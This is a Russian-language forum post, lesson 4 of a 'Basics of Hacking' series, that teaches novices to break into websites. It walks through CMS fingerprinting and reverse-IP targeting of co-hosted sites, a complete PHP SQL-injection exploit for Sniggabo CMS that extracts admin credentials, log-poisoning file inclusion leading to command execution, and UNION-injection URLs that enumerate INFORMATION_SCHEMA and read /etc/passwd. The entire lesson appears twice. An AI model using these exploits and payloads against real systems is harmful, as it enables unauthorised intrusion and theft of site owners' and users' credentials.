- 07, Feb 2014
- #1
дравствуйте уважаемые посетители портала.
Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем: Методы определения версии движка сайта/форума ReversIP и полезные инструменты.
Разбираем сплоит.
Более углубленное знакомство с SQL injection php include Прогулка по багтракам.
Методы определения версии движка Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные) Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов расположенных на сайте (фотогаллереи, новостные ленты и т.п.). Бывает, что данные крутятся в подвале сайта.
Но обычно от туда их убирают.
Гораздо более эффективный вариант это посмотреть исходный код страницы.
Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера). Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --]) Как думаю понятно, это текст на странице не отображается.
Там как раз могут быть указаны имя версия CMS, иногда можно найти мы администрации и прочие вкусности.
В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти.
Да, еще можно преднамеренно вызвать ошибку.
Т.е. попробовать открыть несуществующую папку на сайте (что-то типа Site.us
), вполне возможно, что сайт выплюнет полезную инфу.
Ну думаю тут ясно.
Теперь поговорим о форумах: Обычно, что за форум определить несложно.
Сложнее узнать версию.
В phpbb например есть очень интересный файлик - CHANGELOG.html Его, возможно обнаружить по пути forum/docs/CHANGELOG.html Там можно обнаружить надпись вроде phpBB x.x.x Changelog В IPB 1.3 присутствуют файлы ssi.php show.php В В 2.0.* /sources/help.php /sources/usercp.php В 2.1.* /ips_kernel/PEAR/ Ну и к тому же опять же нужно смотреть на исходный код и на ошибки.
Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит.
Умный администратор поставить фальшивую подпись.
Reverse IP и полезные инструменты.
Бывает, что сайт написан на чистом HTML без применения скриптов.
Казалось бы, взломать его почти невозможно.
Но это не так.
Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт, который хостится на одном сервере с целевым сайтом (если такой имеется). Либо наша цель получить root(права администратора) на сервере.
Тогда мы ищем, какие сайты хостятся на сервере и пытаемся взломать один из них.
Ну думаю, суть понятна.
Другое дело как узнать какие сайты присутствует на сервере.
Для этого мы будем использовать сканнеры.
Например, я пользуюсь вот этим онлайн сканером от madnet –a http://madnet.name/tools/madss/
Так же он составляет примерную структуру сайта. Вот еще неплохой Security-Digger.org
Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip. Допустим, забиваем адрес www.job.ru
Сканер выдает нам соседние сайты. Если речь пошла про онлайн тулзы приведу еще одну: Default Parallels Plesk Panel Page
Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях), так же есть сканер портов Reverse IP whois сервис и еще несколько.
Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.
Разбираем сплоит.
Для тестирования желательно иметь в наличии интерпретатор php.
Кажется, на 2 уроке я советовал поставить тебе mysql+apache+php.
Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил, советую установить Denwer Процесс установки прост до безобразия.
В состав входит все, что нам нужно.
Тем более на следующем уроке я хотел бы показать анализ одной CMS, так что Денвер просто необходим.
Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS: Sniggabo-expl.php 14 июня, 2009 print_r(' ################################################ Sniggabo CMS - Remote SQL Injection Exploit Date: 11.06.2009 Vulnerability discovered by: Lidloses_Auge Exploit coded by: Lidloses_Auge Homepage: http://www.novusec.com
Greetz to: -=Player=- , Suicide, enco, Palme, GPM, karamble, Free-Hack Admin Panel: [target]/admin/login.php Dork: "powered by Sniggabo CMS" inurl:article.php?id Use: php '.$argv[0].' http://www.site.com
################################################ '); $url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a) +from+users--"; $src = file_get_contents($url); $data = split("::",$src); echo "Admin: $data[1]nPassword: $data[2]n"; ?> Во-первых обратим внимания на эту строку: Use: php '.$argv[0].' http://www.site.com
В ней показано, как нужно использовать этот эксплоит.
Как видишь запускать его нужно из командно строки.
В качестве параметра передаем сайт.
Далее сам код: В 1 2 3 строке мы составляем url $argv[1] – сайт, который мы передали в качестве параметра.
/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--"; - собственно сам процесс получения логина и пароля.
Далее $src = file_get_contents($url); Обращаемся по составленному адресу и записываем результат в переменную $src $data = split("::",$src); Разделяем полученный результат по ключевой строке "::” echo "Admin: $data[1]nPassword: $data[2]n"; Выводим.
Если мы будем раскручивать уязвимость вручную, то результат будет таким: Login:assword В сплоите как раз по строке :: мы делим результат.
В переменной первый элемент будет login а второй password.
Local PHP include и выполнение произвольного кода.
Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код.
Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер.
Так вот, значит мы сможем прочитать логи веб сервера.
В логах сохраняются все запросы.
Нас интересуют httpd-access.log и httpd-error.log.
Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код.
Далее это код запишется в логи, а логии мы можем загружать.
Вот тебе и выполнение кода.
Во-первых как подделывать заголовки.
Выше я приводил удобный плагин LiveHTTPHeaders.
Если вы не пользуетесь Фоксом можно скачать программу InetCrack.
Итак, давайте попробуем забить в поле Referer такой код: Все код записан в httpd-access.log.
Теперь нужно с помощью инклуда подгрузить его.
Тут придется перебирать пути до логов.
Вот стандартные http://forum.hackzona.ru/forum-f8/thread-t13002.html
Ну допустим путь оказался таким: ../../../../../../etc/apache2/httpd.conf www.include.us/index.php?page=
../../../../../../etc/apache2/httpd.conf & cmd=ls И мы получим листинг файлов текущей директории (ls). Только учти, выполняется только тот код, который стоит первым в логах.
Т.е. у нас будет только одна попытка, а потом по новой.
SQL injection.
Особенности 5 версии mysql Что такое magic quotes Как можно читать файлы с помощью инъекций.
До этого мы разбирали инъекции в mysql <5 В 5 версии есть кое-какие особенности.
Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or < В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы.
Она избавит нас от ручного подбора.
Реализация www.site.us/index.php?id=1’
www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*
И так тут либо мы увидим все таблицы базы либо только первую. Если второе, то прочитать остальные имена можно с помощью limit: www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES
+limit1,2/* Читаем 2 запись. Так, допустим нашли таблицу. Теперь смотрим поля: www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*
Опять же просмотр конкретных записей: www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit
1,2/* Ну и ищем поля типа password или login Теперь поговорим про магические кавычки (magic quotes) это процесс, который позволяет автоматически экранировать входные данные PHP скрипта.
Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами.
Волшебные кавычки бывают: magic_quotes_gpc – проверяет запросы HTTP (GET, POST, и COOKIE) magic_quotes_runtime – функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами.
magic_quotes_sybase – одиночные кавычки экранируются двойными Надеюсь понятно, что если magic_quotes = on нам это очень не на руку.
Скоро я расскажу, как это обходить.
А теперь как можно прочитать файл с помощью инъекции.
Т.е. мы получим тот же локальный php include Ну допустим, есть инъект: www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*
Читабельно поле 2. Загружать файлы можно так: www.site.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*
Прогулка по багтракам.
В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков.
Вообще я часто уже говорил, что чтение багтрак лент идет только на пользу.
Пожалуй приведу несколько: Русскоязычные: bugtraq.ru/ securitylab.ru/ securityvulns.ru/ Остальные: milw0rm.com packetstormsecurity.org securityfocus.com
Вы читаете 4 урок из серии «Основы хакерства». А вот что мы сегодня разберем: Методы определения версии движка сайта/форума ReversIP и полезные инструменты.
Разбираем сплоит.
Более углубленное знакомство с SQL injection php include Прогулка по багтракам.
Методы определения версии движка Вообще при анализе сайта, нужно сразу смотреть есть ли там паблик скрипты(т.е. не самописные) Что бы найти и использовать эксплоит, нужно как минимум узнать имя и версию CMS, форума или каких либо других скриптов расположенных на сайте (фотогаллереи, новостные ленты и т.п.). Бывает, что данные крутятся в подвале сайта.
Но обычно от туда их убирают.
Гораздо более эффективный вариант это посмотреть исходный код страницы.
Для танкистов: что бы просмотреть исходник страницы нужно нажать на правую кнопку мыши и выбрать «Исходный код страницы», или что то вроде того (в зависимости от браузера). Итак, в исходнике сначала смотрим на текст заключенные в комментарии ([!-- --]) Как думаю понятно, это текст на странице не отображается.
Там как раз могут быть указаны имя версия CMS, иногда можно найти мы администрации и прочие вкусности.
В исходнике также можно найти ссылки на каскадные листы стилей (.css). В них иногда тоже можно кое-что найти.
Да, еще можно преднамеренно вызвать ошибку.
Т.е. попробовать открыть несуществующую папку на сайте (что-то типа Site.us
), вполне возможно, что сайт выплюнет полезную инфу.
Ну думаю тут ясно.
Теперь поговорим о форумах: Обычно, что за форум определить несложно.
Сложнее узнать версию.
В phpbb например есть очень интересный файлик - CHANGELOG.html Его, возможно обнаружить по пути forum/docs/CHANGELOG.html Там можно обнаружить надпись вроде phpBB x.x.x Changelog В IPB 1.3 присутствуют файлы ssi.php show.php В В 2.0.* /sources/help.php /sources/usercp.php В 2.1.* /ips_kernel/PEAR/ Ну и к тому же опять же нужно смотреть на исходный код и на ошибки.
Кстати, еще стоит сказать, что доверять баннерам в подвале не стоит.
Умный администратор поставить фальшивую подпись.
Reverse IP и полезные инструменты.
Бывает, что сайт написан на чистом HTML без применения скриптов.
Казалось бы, взломать его почти невозможно.
Но это не так.
Выход-Reverse IP. Суть этой атаки в том, что бы взломать сайт, который хостится на одном сервере с целевым сайтом (если такой имеется). Либо наша цель получить root(права администратора) на сервере.
Тогда мы ищем, какие сайты хостятся на сервере и пытаемся взломать один из них.
Ну думаю, суть понятна.
Другое дело как узнать какие сайты присутствует на сервере.
Для этого мы будем использовать сканнеры.
Например, я пользуюсь вот этим онлайн сканером от madnet –a http://madnet.name/tools/madss/
Так же он составляет примерную структуру сайта. Вот еще неплохой Security-Digger.org
Тоже присутствует возможность составлять структуру директорий сайта, а также reverse ip. Допустим, забиваем адрес www.job.ru
Сканер выдает нам соседние сайты. Если речь пошла про онлайн тулзы приведу еще одну: Default Parallels Plesk Panel Page
Здесь есть куча всяких кодировщиков и декодеровщиков (пригодиться нам при инъекциях), так же есть сканер портов Reverse IP whois сервис и еще несколько.
Кстати, если вы пользуетесь браузером firefox, то можете установить плагин Reverse IP А плагин LiveHTTPHeaders поможет редактировать HTTP заголовки.
Разбираем сплоит.
Для тестирования желательно иметь в наличии интерпретатор php.
Кажется, на 2 уроке я советовал поставить тебе mysql+apache+php.
Если ты уже поставил это и у тебя все работает стабильно то ок. Если не ставил, советую установить Denwer Процесс установки прост до безобразия.
В состав входит все, что нам нужно.
Тем более на следующем уроке я хотел бы показать анализ одной CMS, так что Денвер просто необходим.
Мудрить не будем, и возьмем простой сплоит для Sniggabo CMS: Sniggabo-expl.php 14 июня, 2009 print_r(' ################################################ Sniggabo CMS - Remote SQL Injection Exploit Date: 11.06.2009 Vulnerability discovered by: Lidloses_Auge Exploit coded by: Lidloses_Auge Homepage: http://www.novusec.com
Greetz to: -=Player=- , Suicide, enco, Palme, GPM, karamble, Free-Hack Admin Panel: [target]/admin/login.php Dork: "powered by Sniggabo CMS" inurl:article.php?id Use: php '.$argv[0].' http://www.site.com
################################################ '); $url = "$argv[1]/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a) +from+users--"; $src = file_get_contents($url); $data = split("::",$src); echo "Admin: $data[1]nPassword: $data[2]n"; ?> Во-первых обратим внимания на эту строку: Use: php '.$argv[0].' http://www.site.com
В ней показано, как нужно использовать этот эксплоит.
Как видишь запускать его нужно из командно строки.
В качестве параметра передаем сайт.
Далее сам код: В 1 2 3 строке мы составляем url $argv[1] – сайт, который мы передали в качестве параметра.
/article.php?Id=null+union+select+concat(0x313a3a,userid,0x3a3a,password,0x3a3a)+from+users--"; - собственно сам процесс получения логина и пароля.
Далее $src = file_get_contents($url); Обращаемся по составленному адресу и записываем результат в переменную $src $data = split("::",$src); Разделяем полученный результат по ключевой строке "::” echo "Admin: $data[1]nPassword: $data[2]n"; Выводим.
Если мы будем раскручивать уязвимость вручную, то результат будет таким: Login:assword В сплоите как раз по строке :: мы делим результат.
В переменной первый элемент будет login а второй password.
Local PHP include и выполнение произвольного кода.
Сейчас мы поговорим, как через локальный инклуд мы сможем выполнить произвольный код.
Как ты помнишь с помощью этой уязвимости мы можем читать файлы на сервер.
Так вот, значит мы сможем прочитать логи веб сервера.
В логах сохраняются все запросы.
Нас интересуют httpd-access.log и httpd-error.log.
Суть в то, что бы подделать HTTP заголовок записан в поле User-Agent (например) php код.
Далее это код запишется в логи, а логии мы можем загружать.
Вот тебе и выполнение кода.
Во-первых как подделывать заголовки.
Выше я приводил удобный плагин LiveHTTPHeaders.
Если вы не пользуетесь Фоксом можно скачать программу InetCrack.
Итак, давайте попробуем забить в поле Referer такой код: Все код записан в httpd-access.log.
Теперь нужно с помощью инклуда подгрузить его.
Тут придется перебирать пути до логов.
Вот стандартные http://forum.hackzona.ru/forum-f8/thread-t13002.html
Ну допустим путь оказался таким: ../../../../../../etc/apache2/httpd.conf www.include.us/index.php?page=
../../../../../../etc/apache2/httpd.conf & cmd=ls И мы получим листинг файлов текущей директории (ls). Только учти, выполняется только тот код, который стоит первым в логах.
Т.е. у нас будет только одна попытка, а потом по новой.
SQL injection.
Особенности 5 версии mysql Что такое magic quotes Как можно читать файлы с помощью инъекций.
До этого мы разбирали инъекции в mysql <5 В 5 версии есть кое-какие особенности.
Ну значит, с помощью команды version() мы узнали, что база данных версии 5 (or < В ней присутствует таблица INFORMATION_SCHEMA, в ней находятся таблицы и колонки базы.
Она избавит нас от ручного подбора.
Реализация www.site.us/index.php?id=1’
www.site.us/index.php?id=1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES/*
И так тут либо мы увидим все таблицы базы либо только первую. Если второе, то прочитать остальные имена можно с помощью limit: www.site.us/index.php?id=+union+select+1,table_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.TABLES
+limit1,2/* Читаем 2 запись. Так, допустим нашли таблицу. Теперь смотрим поля: www.site.us/index.php?id=1+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS/*
Опять же просмотр конкретных записей: www.site.us/index.php?id=+union+select+1,column_name,3,4,5,6,7,8,9,10+from+INFORMATION_SCHEMA.COLUMNS+limit
1,2/* Ну и ищем поля типа password или login Теперь поговорим про магические кавычки (magic quotes) это процесс, который позволяет автоматически экранировать входные данные PHP скрипта.
Если magic quotes=on (активны), то входящие одиночные и двойные кавычки, левый слеш и NULL знаки экранируются левыми слешами.
Волшебные кавычки бывают: magic_quotes_gpc – проверяет запросы HTTP (GET, POST, и COOKIE) magic_quotes_runtime – функции, которые возвращают данные из внешних источников будут экранироваться левыми слешами.
magic_quotes_sybase – одиночные кавычки экранируются двойными Надеюсь понятно, что если magic_quotes = on нам это очень не на руку.
Скоро я расскажу, как это обходить.
А теперь как можно прочитать файл с помощью инъекции.
Т.е. мы получим тот же локальный php include Ну допустим, есть инъект: www.site.us/index.php?id=+union+select+1,2,3,4,5,6,7,8,9,10/*
Читабельно поле 2. Загружать файлы можно так: www.site.us/index.php?id=+union+select+1,LOAD_FILE(‘/etc/passwd’),4,5,6,7,8,9,10/*
Прогулка по багтракам.
В этом топе я решил разбирать интересные (ну вообще какие будут) уязвимости с багтраков.
Вообще я часто уже говорил, что чтение багтрак лент идет только на пользу.
Пожалуй приведу несколько: Русскоязычные: bugtraq.ru/ securitylab.ru/ securityvulns.ru/ Остальные: milw0rm.com packetstormsecurity.org securityfocus.com